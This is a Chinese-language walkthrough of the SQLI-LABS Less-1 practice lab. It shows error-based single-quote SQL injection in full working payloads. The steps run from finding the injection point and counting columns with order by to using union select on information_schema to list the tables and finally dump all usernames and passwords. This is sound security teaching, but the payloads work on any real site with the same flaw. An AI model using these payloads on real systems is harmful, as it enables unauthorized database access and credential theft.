SQLI-LABS(Less-1)
Less-1(GET-Error-Single quotes-String)
打开Less-1页面,可以看到页面中间有一句Please input the ID as parameter with numeric value
,那么先使用ID
这个参数通过GET
方式传入一个数值。
确定注入点
通过传入id=1
看到页面上查询结果是有回显的,接着尝试一下?id=1'
可以看到页面报错了,说明id=1'
导致SQL语句产生了歧义。通过报错信息可以看出闭合SQL语句时用的是单引号。
关于在HTTP
请求中的注释问题:
- 在浏览器的
GET
请求中,URL中#
号是用来指导浏览器动作的(例如锚点),对服务器端无用。所以,HTTP
请求中不包括#
,因此使用#
闭合无法注释,会报错。 - 而使用
--
,在传输过程中空格会被忽略,同样导致无法注释。 - 所以在
GET
请求传参注入时可以使用--+
的方式来闭合,因为+
会被解释成空格。 - 除此之外,可以使用
%23
代替#
,使用--%20
代替--+
。
这里使用?id=1' --+
进行闭合注释。
接着使用注入语句?id=1' and 1=1 --+
和?id=1' and 1=2 --+
,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。
判断数据表列数
接下来通过order by
判断该表的字段数量(order by
语句用于根据指定的列对结果集进行排序),URL后面拼接?id=1' order by 1--+
看是否报错:
注入语句:?id=1' order by 1 --+
接着继续尝试?id=1' order by 2--+
,?id=1' order by 3--+
,当尝试到4时,发现页面报错了,说明该表依据第4列进行排序时,发生了错误,表明该表只有3列。
确定回显字段
接着使用联合查询,看看是哪几列会回显到前端页面:
注入语句:?id=1' and 1=2 union select 1,2,3 --+
这里使用and 1=2
是为了让union
之前的语句为假,从而不回显在前端页面,而union
结果集中的列名总是等于union
中第一个select
语句中的列名,这样就可以通过前端页面的回显知道前端页面显示的数据表的第几列。
确定当前数据库名和用户
从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数:user()
(查看当前用户)、database()
(查看当前数据库)、version()
(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句:?id=1' and 1=2 union select 1,database(),user() --+
通过上述注入可以得知,当前数据库名为security
,当前用户为root
,接着找出这个数据库中的所有数据表。
确定当前数据库内表名
关于information_schema
库:
information_schema
库用于存储数据库的元数据,例如information_schema
库中的schemata
表存储了数据库中所有的库信息、tables
表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎等信息、columns
表存储表中的列信息,比如表有多少列、每个列的类型等
接着爆出当前库中的所有表名,通过group_concat
将相同分组中的结果进行连接:
注入语句:?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
通过上述注入可以得知当前数据库中存在emails
、referers
、uagents
、users
四张数据表。
确定users表中列名
注入语句:?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
通过上述注入可以得知users
表中存在三列,分别为id
、username
、password
。
确定users表中的用户名和密码
注入语句:?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
到此,就得到了当前表中所有的用户名和密码。